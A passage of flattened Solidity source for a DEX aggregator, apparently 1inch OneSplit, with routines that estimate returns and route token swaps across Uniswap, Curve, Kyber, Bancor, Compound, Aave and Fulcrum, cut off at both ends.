IERC20(destToken).universalDecimals()) .div(10 ** IERC20(fromToken).universalDecimals()) .div(1e18), 700_000 ); } function calculateKyberReturn( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256 parts, uint256 flags ) internal view returns(uint256[] memory rets, uint256 gas) { rets = new uint256[](parts); for (uint i = 0; i < parts; i++) { (rets[i], gas) = _calculateKyberReturn(fromToken, destToken, amount.mul(i + 1).div(parts), flags); if (rets[i] == 0) { break; } } return (rets, gas); } function calculateBancorReturn( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256 parts, uint256 /*flags*/ ) internal view returns(uint256[] memory rets, uint256 gas) { IBancorNetwork bancorNetwork = IBancorNetwork(bancorContractRegistry.addressOf("BancorNetwork")); address[] memory path = _buildBancorPath(fromToken, destToken); rets = _linearInterpolation(amount, parts); for (uint i = 0; i < parts; i++) { (bool success, bytes memory data) = address(bancorNetwork).staticcall.gas(500000)( abi.encodeWithSelector( bancorNetwork.getReturnByPath.selector, path, rets[i] ) ); if (!success || data.length == 0) { for (; i < parts; i++) { rets[i] = 0; } break; } else { (uint256 ret,) = abi.decode(data, (uint256,uint256)); rets[i] = ret; } } return (rets, path.length.mul(150_000)); } function calculateOasisReturn( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256 parts, uint256 /*flags*/ ) internal view returns(uint256[] memory rets, uint256 gas) { rets = _linearInterpolation(amount, parts); for (uint i = 0; i < parts; i++) { (bool success, bytes memory data) = address(oasisExchange).staticcall.gas(500000)( abi.encodeWithSelector( oasisExchange.getBuyAmount.selector, destToken.isETH() ? weth : destToken, fromToken.isETH() ? weth : fromToken, rets[i] ) ); if (!success || data.length == 0) { for (; i < parts; i++) { rets[i] = 0; } break; } else { rets[i] = abi.decode(data, (uint256)); } } return (rets, 500_000); } function calculateMooniswap( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256 parts, uint256 /*flags*/ ) internal view returns(uint256[] memory rets, uint256 gas) { IMooniswap mooniswap = mooniswapRegistry.target(); (bool success, bytes memory data) = address(mooniswap).staticcall.gas(1000000)( abi.encodeWithSelector( mooniswap.getReturn.selector, fromToken, destToken, amount ) ); if (!success || data.length == 0) { return (new uint256[](parts), 0); } uint256 maxRet = abi.decode(data, (uint256)); return (_linearInterpolation(maxRet, parts), 1_000_000); } function calculateUniswapV2( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256 parts, uint256 flags ) internal view returns(uint256[] memory rets, uint256 gas) { return _calculateUniswapV2( fromToken, destToken, _linearInterpolation(amount, parts), flags ); } function calculateUniswapV2ETH( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256 parts, uint256 flags ) internal view returns(uint256[] memory rets, uint256 gas) { if (fromToken.isETH() || fromToken == weth || destToken.isETH() || destToken == weth) { return (new uint256[](parts), 0); } return _calculateUniswapV2OverMidToken( fromToken, weth, destToken, amount, parts, flags ); } function calculateUniswapV2DAI( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256 parts, uint256 flags ) internal view returns(uint256[] memory rets, uint256 gas) { if (fromToken == dai || destToken == dai) { return (new uint256[](parts), 0); } return _calculateUniswapV2OverMidToken( fromToken, dai, destToken, amount, parts, flags ); } function calculateUniswapV2USDC( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256 parts, uint256 flags ) internal view returns(uint256[] memory rets, uint256 gas) { if (fromToken == usdc || destToken == usdc) { return (new uint256[](parts), 0); } return _calculateUniswapV2OverMidToken( fromToken, usdc, destToken, amount, parts, flags ); } function _calculateUniswapV2( IERC20 fromToken, IERC20 destToken, uint256[] memory amounts, uint256 /*flags*/ ) internal view returns(uint256[] memory rets, uint256 gas) { rets = new uint256[](amounts.length); IERC20 fromTokenReal = fromToken.isETH() ? weth : fromToken; IERC20 destTokenReal = destToken.isETH() ? weth : destToken; IUniswapV2Exchange exchange = uniswapV2.getPair(fromTokenReal, destTokenReal); if (exchange != IUniswapV2Exchange(0)) { uint256 fromTokenBalance = fromTokenReal.universalBalanceOf(address(exchange)); uint256 destTokenBalance = destTokenReal.universalBalanceOf(address(exchange)); for (uint i = 0; i < amounts.length; i++) { rets[i] = _calculateUniswapFormula(fromTokenBalance, destTokenBalance, amounts[i]); } return (rets, 50_000); } } function _calculateUniswapV2OverMidToken( IERC20 fromToken, IERC20 midToken, IERC20 destToken, uint256 amount, uint256 parts, uint256 flags ) internal view returns(uint256[] memory rets, uint256 gas) { rets = _linearInterpolation(amount, parts); uint256 gas1; uint256 gas2; (rets, gas1) = _calculateUniswapV2(fromToken, midToken, rets, flags); (rets, gas2) = _calculateUniswapV2(midToken, destToken, rets, flags); return (rets, gas1 + gas2); } function _calculateNoReturn( IERC20 /*fromToken*/, IERC20 /*destToken*/, uint256 /*amount*/, uint256 parts, uint256 /*flags*/ ) internal view returns(uint256[] memory rets, uint256 gas) { this; return (new uint256[](parts), 0); } } contract OneSplitBaseWrap is IOneSplit, OneSplitRoot { function _swap( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256[] memory distribution, uint256 flags // See constants in IOneSplit.sol ) internal { if (fromToken == destToken) { return; } _swapFloor( fromToken, destToken, amount, distribution, flags ); } function _swapFloor( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256[] memory distribution, uint256 /*flags*/ // See constants in IOneSplit.sol ) internal; } contract OneSplit is IOneSplit, OneSplitRoot { IOneSplitView public oneSplitView; constructor(IOneSplitView _oneSplitView) public { oneSplitView = _oneSplitView; } function() external payable { // solium-disable-next-line security/no-tx-origin require(msg.sender != tx.origin); } function getExpectedReturn( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256 parts, uint256 flags ) public view returns( uint256 returnAmount, uint256[] memory distribution ) { (returnAmount, , distribution) = getExpectedReturnWithGas( fromToken, destToken, amount, parts, flags, 0 ); } function getExpectedReturnWithGas( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256 parts, uint256 flags, uint256 destTokenEthPriceTimesGasPrice ) public view returns( uint256 returnAmount, uint256 estimateGasAmount, uint256[] memory distribution ) { return oneSplitView.getExpectedReturnWithGas( fromToken, destToken, amount, parts, flags, destTokenEthPriceTimesGasPrice ); } function swap( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256 /*minReturn*/, uint256[] memory distribution, uint256 /*flags*/ // See constants in IOneSplit.sol ) public payable returns(uint256 returnAmount) { if (fromToken == destToken) { return amount; } function(IERC20,IERC20,uint256) returns(uint256)[DEXES_COUNT] memory reserves = [ _swapOnUniswap, _swapOnKyber, _swapOnBancor, _swapOnOasis, _swapOnCurveCompound, _swapOnCurveUsdt, _swapOnCurveY, _swapOnCurveBinance, _swapOnCurveSynthetix, _swapOnUniswapCompound, _swapOnUniswapChai, _swapOnUniswapAave, _swapOnMooniswap, _swapOnUniswapV2, _swapOnUniswapV2ETH, _swapOnUniswapV2DAI, _swapOnUniswapV2USDC, _swapOnCurvePax, _swapOnCurveRenBtc, _swapOnCurveTBtc, _swapOnDforceSwap, _swapOnShell, _swapOnMStableMUSD ]; require(distribution.length <= reserves.length, "OneSplit: Distribution array should not exceed reserves array size"); uint256 parts = 0; uint256 lastNonZeroIndex = 0; for (uint i = 0; i < distribution.length; i++) { if (distribution[i] > 0) { parts = parts.add(distribution[i]); lastNonZeroIndex = i; } } require(parts > 0, "OneSplit: distribution should contain non-zeros"); uint256 remainingAmount = amount; for (uint i = 0; i < distribution.length; i++) { if (distribution[i] == 0) { continue; } uint256 swapAmount = amount.mul(distribution[i]).div(parts); if (i == lastNonZeroIndex) { swapAmount = remainingAmount; } remainingAmount -= swapAmount; reserves[i](fromToken, destToken, swapAmount); } returnAmount = destToken.universalBalanceOf(address(this)); } // Swap helpers function _swapOnCurveCompound( IERC20 fromToken, IERC20 destToken, uint256 amount ) internal returns(uint256) { int128 i = (fromToken == dai ? 1 : 0) + (fromToken == usdc ? 2 : 0); int128 j = (destToken == dai ? 1 : 0) + (destToken == usdc ? 2 : 0); if (i == 0 || j == 0) { return 0; } fromToken.universalApprove(address(curveCompound), amount); curveCompound.exchange_underlying(i - 1, j - 1, amount, 0); } function _swapOnCurveUsdt( IERC20 fromToken, IERC20 destToken, uint256 amount ) internal returns(uint256) { int128 i = (fromToken == dai ? 1 : 0) + (fromToken == usdc ? 2 : 0) + (fromToken == usdt ? 3 : 0); int128 j = (destToken == dai ? 1 : 0) + (destToken == usdc ? 2 : 0) + (destToken == usdt ? 3 : 0); if (i == 0 || j == 0) { return 0; } fromToken.universalApprove(address(curveUsdt), amount); curveUsdt.exchange_underlying(i - 1, j - 1, amount, 0); } function _swapOnCurveY( IERC20 fromToken, IERC20 destToken, uint256 amount ) internal returns(uint256) { int128 i = (fromToken == dai ? 1 : 0) + (fromToken == usdc ? 2 : 0) + (fromToken == usdt ? 3 : 0) + (fromToken == tusd ? 4 : 0); int128 j = (destToken == dai ? 1 : 0) + (destToken == usdc ? 2 : 0) + (destToken == usdt ? 3 : 0) + (destToken == tusd ? 4 : 0); if (i == 0 || j == 0) { return 0; } fromToken.universalApprove(address(curveY), amount); curveY.exchange_underlying(i - 1, j - 1, amount, 0); } function _swapOnCurveBinance( IERC20 fromToken, IERC20 destToken, uint256 amount ) internal returns(uint256) { int128 i = (fromToken == dai ? 1 : 0) + (fromToken == usdc ? 2 : 0) + (fromToken == usdt ? 3 : 0) + (fromToken == busd ? 4 : 0); int128 j = (destToken == dai ? 1 : 0) + (destToken == usdc ? 2 : 0) + (destToken == usdt ? 3 : 0) + (destToken == busd ? 4 : 0); if (i == 0 || j == 0) { return 0; } fromToken.universalApprove(address(curveBinance), amount); curveBinance.exchange_underlying(i - 1, j - 1, amount, 0); } function _swapOnCurveSynthetix( IERC20 fromToken, IERC20 destToken, uint256 amount ) internal returns(uint256) { int128 i = (fromToken == dai ? 1 : 0) + (fromToken == usdc ? 2 : 0) + (fromToken == usdt ? 3 : 0) + (fromToken == susd ? 4 : 0); int128 j = (destToken == dai ? 1 : 0) + (destToken == usdc ? 2 : 0) + (destToken == usdt ? 3 : 0) + (destToken == susd ? 4 : 0); if (i == 0 || j == 0) { return 0; } fromToken.universalApprove(address(curveSynthetix), amount); curveSynthetix.exchange_underlying(i - 1, j - 1, amount, 0); } function _swapOnCurvePax( IERC20 fromToken, IERC20 destToken, uint256 amount ) internal returns(uint256) { int128 i = (fromToken == dai ? 1 : 0) + (fromToken == usdc ? 2 : 0) + (fromToken == usdt ? 3 : 0) + (fromToken == pax ? 4 : 0); int128 j = (destToken == dai ? 1 : 0) + (destToken == usdc ? 2 : 0) + (destToken == usdt ? 3 : 0) + (destToken == pax ? 4 : 0); if (i == 0 || j == 0) { return 0; } fromToken.universalApprove(address(curvePax), amount); curvePax.exchange_underlying(i - 1, j - 1, amount, 0); } function _swapOnShell( IERC20 fromToken, IERC20 destToken, uint256 amount ) internal returns (uint256) { fromToken.universalApprove(address(shell), amount); return shell.swapByOrigin( address(fromToken), address(destToken), amount, 0, now + 50 ); } function _swapOnMStableMUSD( IERC20 fromToken, IERC20 destToken, uint256 amount ) internal returns (uint256) { fromToken.universalApprove(address(musd), amount); return musd.swap( fromToken, destToken, amount, address(this) ); } function _swapOnCurveRenBtc( IERC20 fromToken, IERC20 destToken, uint256 amount ) internal returns(uint256) { int128 i = (fromToken == renbtc ? 1 : 0) + (fromToken == wbtc ? 2 : 0); int128 j = (destToken == renbtc ? 1 : 0) + (destToken == wbtc ? 2 : 0); if (i == 0 || j == 0) { return 0; } fromToken.universalApprove(address(curveRenBtc), amount); curveRenBtc.exchange(i - 1, j - 1, amount, 0); } function _swapOnCurveTBtc( IERC20 fromToken, IERC20 destToken, uint256 amount ) internal returns(uint256) { int128 i = (fromToken == tbtc ? 1 : 0) + (fromToken == wbtc ? 2 : 0) + (fromToken == hbtc ? 3 : 0); int128 j = (destToken == tbtc ? 1 : 0) + (destToken == wbtc ? 2 : 0) + (destToken == hbtc ? 3 : 0); if (i == 0 || j == 0) { return 0; } fromToken.universalApprove(address(curveTBtc), amount); curveTBtc.exchange(i - 1, j - 1, amount, 0); } function _swapOnDforceSwap( IERC20 fromToken, IERC20 destToken, uint256 amount ) internal returns(uint256) { fromToken.universalApprove(address(dforceSwap), amount); dforceSwap.swap(fromToken, destToken, amount); } function _swapOnUniswap( IERC20 fromToken, IERC20 destToken, uint256 amount ) internal returns(uint256) { uint256 returnAmount = amount; if (!fromToken.isETH()) { IUniswapExchange fromExchange = uniswapFactory.getExchange(fromToken); if (fromExchange != IUniswapExchange(0)) { fromToken.universalApprove(address(fromExchange), returnAmount); returnAmount = fromExchange.tokenToEthSwapInput(returnAmount, 1, now); } } if (!destToken.isETH()) { IUniswapExchange toExchange = uniswapFactory.getExchange(destToken); if (toExchange != IUniswapExchange(0)) { returnAmount = toExchange.ethToTokenSwapInput.value(returnAmount)(1, now); } } return returnAmount; } function _swapOnUniswapCompound( IERC20 fromToken, IERC20 destToken, uint256 amount ) internal returns(uint256) { if (!fromToken.isETH()) { ICompoundToken fromCompound = _getCompoundToken(fromToken); fromToken.universalApprove(address(fromCompound), amount); fromCompound.mint(amount); return _swapOnUniswap(IERC20(fromCompound), destToken, IERC20(fromCompound).universalBalanceOf(address(this))); } if (!destToken.isETH()) { ICompoundToken toCompound = _getCompoundToken(destToken); uint256 compoundAmount = _swapOnUniswap(fromToken, IERC20(toCompound), amount); toCompound.redeem(compoundAmount); return destToken.universalBalanceOf(address(this)); } return 0; } function _swapOnUniswapChai( IERC20 fromToken, IERC20 destToken, uint256 amount ) internal returns(uint256) { if (fromToken == dai) { fromToken.universalApprove(address(chai), amount); chai.join(address(this), amount); return _swapOnUniswap(IERC20(chai), destToken, IERC20(chai).universalBalanceOf(address(this))); } if (destToken == dai) { uint256 chaiAmount = _swapOnUniswap(fromToken, IERC20(chai), amount); chai.exit(address(this), chaiAmount); return destToken.universalBalanceOf(address(this)); } return 0; } function _swapOnUniswapAave( IERC20 fromToken, IERC20 destToken, uint256 amount ) internal returns(uint256) { if (!fromToken.isETH()) { IAaveToken fromAave = _getAaveToken(fromToken); fromToken.universalApprove(aave.core(), amount); aave.deposit(fromToken, amount, 1101); return _swapOnUniswap(IERC20(fromAave), destToken, IERC20(fromAave).universalBalanceOf(address(this))); } if (!destToken.isETH()) { IAaveToken toAave = _getAaveToken(destToken); uint256 aaveAmount = _swapOnUniswap(fromToken, IERC20(toAave), amount); toAave.redeem(aaveAmount); return aaveAmount; } return 0; } function _swapOnMooniswap( IERC20 fromToken, IERC20 destToken, uint256 amount ) internal returns(uint256) { IMooniswap mooniswap = mooniswapRegistry.target(); fromToken.universalApprove(address(mooniswap), amount); return mooniswap.swap.value(fromToken.isETH() ? amount : 0)( fromToken, destToken, amount, 0 ); } function _swapOnKyber( IERC20 fromToken, IERC20 destToken, uint256 amount ) internal returns(uint256) { fromToken.universalApprove(address(kyberNetworkProxy), amount); return kyberNetworkProxy.tradeWithHint.value(fromToken.isETH() ? amount : 0)( fromToken.isETH() ? ETH_ADDRESS : fromToken, amount, destToken.isETH() ? ETH_ADDRESS : destToken, address(this), 1 << 255, 0, 0x4D37f28D2db99e8d35A6C725a5f1749A085850a3, "" ); } function _swapOnBancor( IERC20 fromToken, IERC20 destToken, uint256 amount ) internal returns(uint256) { IBancorNetwork bancorNetwork = IBancorNetwork(bancorContractRegistry.addressOf("BancorNetwork")); address[] memory path = _buildBancorPath(fromToken, destToken); return bancorNetwork.convert.value(fromToken.isETH() ? amount : 0)(path, amount, 1); } function _swapOnOasis( IERC20 fromToken, IERC20 destToken, uint256 amount ) internal returns(uint256) { if (fromToken.isETH()) { weth.deposit.value(amount)(); } IERC20 approveToken = fromToken.isETH() ? weth : fromToken; approveToken.universalApprove(address(oasisExchange), amount); uint256 returnAmount = oasisExchange.sellAllAmount( fromToken.isETH() ? weth : fromToken, amount, destToken.isETH() ? weth : destToken, 1 ); if (destToken.isETH()) { weth.withdraw(weth.balanceOf(address(this))); } return returnAmount; } function _swapOnUniswapV2Internal( IERC20 fromToken, IERC20 destToken, uint256 amount ) internal returns(uint256 returnAmount) { if (fromToken.isETH()) { weth.deposit.value(amount)(); } IERC20 fromTokenReal = fromToken.isETH() ? weth : fromToken; IERC20 toTokenReal = destToken.isETH() ? weth : destToken; IUniswapV2Exchange exchange = uniswapV2.getPair(fromTokenReal, toTokenReal); returnAmount = exchange.getReturn(fromTokenReal, toTokenReal, amount); fromTokenReal.universalTransfer(address(exchange), amount); if (uint256(address(fromTokenReal)) < uint256(address(toTokenReal))) { exchange.swap(0, returnAmount, address(this), ""); } else { exchange.swap(returnAmount, 0, address(this), ""); } if (destToken.isETH()) { weth.withdraw(weth.balanceOf(address(this))); } } function _swapOnUniswapV2OverMid( IERC20 fromToken, IERC20 midToken, IERC20 destToken, uint256 amount ) internal returns(uint256) { return _swapOnUniswapV2Internal( midToken, destToken, _swapOnUniswapV2Internal( fromToken, midToken, amount ) ); } function _swapOnUniswapV2( IERC20 fromToken, IERC20 destToken, uint256 amount ) internal returns(uint256) { return _swapOnUniswapV2Internal( fromToken, destToken, amount ); } function _swapOnUniswapV2ETH( IERC20 fromToken, IERC20 destToken, uint256 amount ) internal returns(uint256) { return _swapOnUniswapV2OverMid( fromToken, weth, destToken, amount ); } function _swapOnUniswapV2DAI( IERC20 fromToken, IERC20 destToken, uint256 amount ) internal returns(uint256) { return _swapOnUniswapV2OverMid( fromToken, dai, destToken, amount ); } function _swapOnUniswapV2USDC( IERC20 fromToken, IERC20 destToken, uint256 amount ) internal returns(uint256) { return _swapOnUniswapV2OverMid( fromToken, usdc, destToken, amount ); } } // File: contracts/OneSplitMultiPath.sol pragma solidity ^0.5.0; contract OneSplitMultiPathBase is IOneSplitConsts, OneSplitRoot { function _getMultiPathToken(uint256 flags) internal pure returns(IERC20 midToken) { uint256[7] memory allFlags = [ FLAG_ENABLE_MULTI_PATH_ETH, FLAG_ENABLE_MULTI_PATH_DAI, FLAG_ENABLE_MULTI_PATH_USDC, FLAG_ENABLE_MULTI_PATH_USDT, FLAG_ENABLE_MULTI_PATH_WBTC, FLAG_ENABLE_MULTI_PATH_TBTC, FLAG_ENABLE_MULTI_PATH_RENBTC ]; IERC20[7] memory allMidTokens = [ ETH_ADDRESS, dai, usdc, usdt, wbtc, tbtc, renbtc ]; for (uint i = 0; i < allFlags.length; i++) { if (flags.check(allFlags[i])) { require(midToken == IERC20(0), "OneSplit: Do not use multipath with each other"); midToken = allMidTokens[i]; } } } } contract OneSplitMultiPathView is OneSplitViewWrapBase, OneSplitMultiPathBase { function getExpectedReturnWithGas( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256 parts, uint256 flags, uint256 destTokenEthPriceTimesGasPrice ) public view returns ( uint256 returnAmount, uint256 estimateGasAmount, uint256[] memory distribution ) { if (fromToken == destToken) { return (amount, 0, new uint256[](DEXES_COUNT)); } IERC20 midToken = _getMultiPathToken(flags); if (midToken != IERC20(0)) { if ((fromToken.isETH() && midToken.isETH()) || (destToken.isETH() && midToken.isETH()) || fromToken == midToken || destToken == midToken) { return super.getExpectedReturnWithGas( fromToken, destToken, amount, parts, flags, destTokenEthPriceTimesGasPrice ); } // Stack too deep uint256 _flags = flags; (returnAmount, estimateGasAmount, distribution) = super.getExpectedReturnWithGas( fromToken, midToken, amount, parts, _flags | FLAG_DISABLE_BANCOR | FLAG_DISABLE_CURVE_COMPOUND | FLAG_DISABLE_CURVE_USDT | FLAG_DISABLE_CURVE_Y | FLAG_DISABLE_CURVE_BINANCE | FLAG_DISABLE_CURVE_PAX, destTokenEthPriceTimesGasPrice ); uint256[] memory dist; uint256 estimateGasAmount2; (returnAmount, estimateGasAmount2, dist) = super.getExpectedReturnWithGas( midToken, destToken, returnAmount, parts, _flags | FLAG_DISABLE_BANCOR | FLAG_DISABLE_CURVE_COMPOUND | FLAG_DISABLE_CURVE_USDT | FLAG_DISABLE_CURVE_Y | FLAG_DISABLE_CURVE_BINANCE | FLAG_DISABLE_CURVE_PAX, destTokenEthPriceTimesGasPrice ); for (uint i = 0; i < distribution.length; i++) { distribution[i] = distribution[i].add(dist[i] << 8); } return (returnAmount, estimateGasAmount + estimateGasAmount2, distribution); } return super.getExpectedReturnWithGas( fromToken, destToken, amount, parts, flags, destTokenEthPriceTimesGasPrice ); } } contract OneSplitMultiPath is OneSplitBaseWrap, OneSplitMultiPathBase { function _swap( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256[] memory distribution, uint256 flags ) internal { IERC20 midToken = _getMultiPathToken(flags); if (midToken != IERC20(0)) { uint256[] memory dist = new uint256[](distribution.length); for (uint i = 0; i < distribution.length; i++) { dist[i] = distribution[i] & 0xFF; } super._swap( fromToken, midToken, amount, dist, flags ); for (uint i = 0; i < distribution.length; i++) { dist[i] = (distribution[i] >> 8) & 0xFF; } super._swap( midToken, destToken, midToken.universalBalanceOf(address(this)), dist, flags ); return; } super._swap( fromToken, destToken, amount, distribution, flags ); } } // File: contracts/OneSplitCompound.sol pragma solidity ^0.5.0; contract OneSplitCompoundBase { function _getCompoundUnderlyingToken(IERC20 token) internal pure returns(IERC20) { if (token == IERC20(0x4Ddc2D193948926D02f9B1fE9e1daa0718270ED5)) { // ETH return IERC20(0); } if (token == IERC20(0x5d3a536E4D6DbD6114cc1Ead35777bAB948E3643)) { // DAI return IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F); } if (token == IERC20(0x6C8c6b02E7b2BE14d4fA6022Dfd6d75921D90E4E)) { // BAT return IERC20(0x0D8775F648430679A709E98d2b0Cb6250d2887EF); } if (token == IERC20(0x158079Ee67Fce2f58472A96584A73C7Ab9AC95c1)) { // REP return IERC20(0x1985365e9f78359a9B6AD760e32412f4a445E862); } if (token == IERC20(0x39AA39c021dfbaE8faC545936693aC917d5E7563)) { // USDC return IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); } if (token == IERC20(0xC11b1268C1A384e55C48c2391d8d480264A3A7F4)) { // WBTC return IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599); } if (token == IERC20(0xB3319f5D18Bc0D84dD1b4825Dcde5d5f7266d407)) { // ZRX return IERC20(0xE41d2489571d322189246DaFA5ebDe1F4699F498); } if (token == IERC20(0xf650C3d88D12dB855b8bf7D11Be6C55A4e07dCC9)) { // USDT return IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7); } return IERC20(-1); } } contract OneSplitCompoundView is OneSplitViewWrapBase, OneSplitCompoundBase { function getExpectedReturnWithGas( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256 parts, uint256 flags, uint256 destTokenEthPriceTimesGasPrice ) public view returns( uint256 returnAmount, uint256 estimateGasAmount, uint256[] memory distribution ) { return _compoundGetExpectedReturn( fromToken, destToken, amount, parts, flags, destTokenEthPriceTimesGasPrice ); } function _compoundGetExpectedReturn( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256 parts, uint256 flags, uint256 destTokenEthPriceTimesGasPrice ) private view returns( uint256 returnAmount, uint256 estimateGasAmount, uint256[] memory distribution ) { if (fromToken == destToken) { return (amount, 0, new uint256[](DEXES_COUNT)); } if (flags.check(FLAG_DISABLE_ALL_WRAP_SOURCES) == flags.check(FLAG_DISABLE_COMPOUND)) { IERC20 underlying = _getCompoundUnderlyingToken(fromToken); if (underlying != IERC20(-1)) { uint256 compoundRate = ICompoundToken(address(fromToken)).exchangeRateStored(); (returnAmount, estimateGasAmount, distribution) = _compoundGetExpectedReturn( underlying, destToken, amount.mul(compoundRate).div(1e18), parts, flags, destTokenEthPriceTimesGasPrice ); return (returnAmount, estimateGasAmount + 295_000, distribution); } underlying = _getCompoundUnderlyingToken(destToken); if (underlying != IERC20(-1)) { uint256 compoundRate = ICompoundToken(address(destToken)).exchangeRateStored(); (returnAmount, estimateGasAmount, distribution) = super.getExpectedReturnWithGas( fromToken, underlying, amount, parts, flags, destTokenEthPriceTimesGasPrice ); return (returnAmount.mul(1e18).div(compoundRate), estimateGasAmount + 430_000, distribution); } } return super.getExpectedReturnWithGas( fromToken, destToken, amount, parts, flags, destTokenEthPriceTimesGasPrice ); } } contract OneSplitCompound is OneSplitBaseWrap, OneSplitCompoundBase { function _swap( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256[] memory distribution, uint256 flags ) internal { _compundSwap( fromToken, destToken, amount, distribution, flags ); } function _compundSwap( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256[] memory distribution, uint256 flags ) private { if (fromToken == destToken) { return; } if (flags.check(FLAG_DISABLE_ALL_WRAP_SOURCES) == flags.check(FLAG_DISABLE_COMPOUND)) { IERC20 underlying = _getCompoundUnderlyingToken(fromToken); if (underlying != IERC20(-1)) { ICompoundToken(address(fromToken)).redeem(amount); uint256 underlyingAmount = underlying.universalBalanceOf(address(this)); return _compundSwap( underlying, destToken, underlyingAmount, distribution, flags ); } underlying = _getCompoundUnderlyingToken(destToken); if (underlying != IERC20(-1)) { super._swap( fromToken, underlying, amount, distribution, flags ); uint256 underlyingAmount = underlying.universalBalanceOf(address(this)); if (underlying.isETH()) { cETH.mint.value(underlyingAmount)(); } else { underlying.universalApprove(address(destToken), underlyingAmount); ICompoundToken(address(destToken)).mint(underlyingAmount); } return; } } return super._swap( fromToken, destToken, amount, distribution, flags ); } } // File: @openzeppelin/contracts/token/ERC20/ERC20Detailed.sol pragma solidity ^0.5.0; /** * @dev Optional functions from the ERC20 standard. */ contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for `name`, `symbol`, and `decimals`. All three of * these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } } // File: contracts/interface/IFulcrum.sol pragma solidity ^0.5.0; contract IFulcrumToken is IERC20 { function tokenPrice() external view returns (uint256); function loanTokenAddress() external view returns (address); function mintWithEther(address receiver) external payable returns (uint256 mintAmount); function mint(address receiver, uint256 depositAmount) external returns (uint256 mintAmount); function burnToEther(address receiver, uint256 burnAmount) external returns (uint256 loanAmountPaid); function burn(address receiver, uint256 burnAmount) external returns (uint256 loanAmountPaid); } // File: contracts/OneSplitFulcrum.sol pragma solidity ^0.5.0; contract OneSplitFulcrumBase { using UniversalERC20 for IERC20; function _isFulcrumToken(IERC20 token) public view returns(IERC20) { if (token.isETH()) { return IERC20(-1); } (bool success, bytes memory data) = address(token).staticcall.gas(5000)(abi.encodeWithSelector( ERC20Detailed(address(token)).name.selector )); if (!success) { return IERC20(-1); } bool foundBZX = false; for (uint i = 0; i + 6 < data.length; i++) { if (data[i + 0] == "F" && data[i + 1] == "u" && data[i + 2] == "l" && data[i + 3] == "c" && data[i + 4] == "r" && data[i + 5] == "u" && data[i + 6] == "m") { foundBZX = true; break; } } if (!foundBZX) { return IERC20(-1); } (success, data) = address(token).staticcall.gas(5000)(abi.encodeWithSelector( IFulcrumToken(address(token)).loanTokenAddress.selector )); if (!success) { return IERC20(-1); } return abi.decode(data, (IERC20)); } } contract OneSplitFulcrumView is OneSplitViewWrapBase, OneSplitFulcrumBase { function getExpectedReturnWithGas( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256 parts, uint256 flags, uint256 destTokenEthPriceTimesGasPrice ) public view returns( uint256 returnAmount, uint256 estimateGasAmount, uint256[] memory distribution ) { return _fulcrumGetExpectedReturn( fromToken, destToken, amount, parts, flags, destTokenEthPriceTimesGasPrice ); } function _fulcrumGetExpectedReturn( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256 parts, uint256 flags, uint256 destTokenEthPriceTimesGasPrice ) private view returns( uint256 returnAmount, uint256 estimateGasAmount, uint256[] memory distribution ) { if (fromToken == destToken) { return (amount, 0, new uint256[](DEXES_COUNT)); } if (flags.check(FLAG_DISABLE_ALL_WRAP_SOURCES) == flags.check(FLAG_DISABLE_FULCRUM)) { IERC20 underlying = _isFulcrumToken(fromToken); if (underlying != IERC20(-1)) { uint256 fulcrumRate = IFulcrumToken(address(fromToken)).tokenPrice(); (returnAmount, estimateGasAmount, distribution) = _fulcrumGetExpectedReturn( underlying, destToken, amount.mul(fulcrumRate).div(1e18), parts, flags, destTokenEthPriceTimesGasPrice ); return (returnAmount, estimateGasAmount + 381_000, distribution); } underlying = _isFulcrumToken(destToken); if (underlying != IERC20(-1)) { uint256 fulcrumRate = IFulcrumToken(address(destToken)).tokenPrice(); (returnAmount, estimateGasAmount, distribution) = super.getExpectedReturnWithGas( fromToken, underlying, amount, parts, flags, destTokenEthPriceTimesGasPrice ); return (returnAmount.mul(1e18).div(fulcrumRate), estimateGasAmount + 354_000, distribution); } } return super.getExpectedReturnWithGas( fromToken, destToken, amount, parts, flags, destTokenEthPriceTimesGasPrice ); } } contract OneSplitFulcrum is OneSplitBaseWrap, OneSplitFulcrumBase { function _swap( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256[] memory distribution, uint256 flags ) internal { _fulcrumSwap( fromToken, destToken, amount, distribution, flags ); } function _fulcrumSwap( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256[] memory distribution, uint256 flags ) private { if (fromToken == destToken) { return; } if (flags.check(FLAG_DISABLE_ALL_WRAP_SOURCES) == flags.check(FLAG_DISABLE_FULCRUM)) { IERC20 underlying = 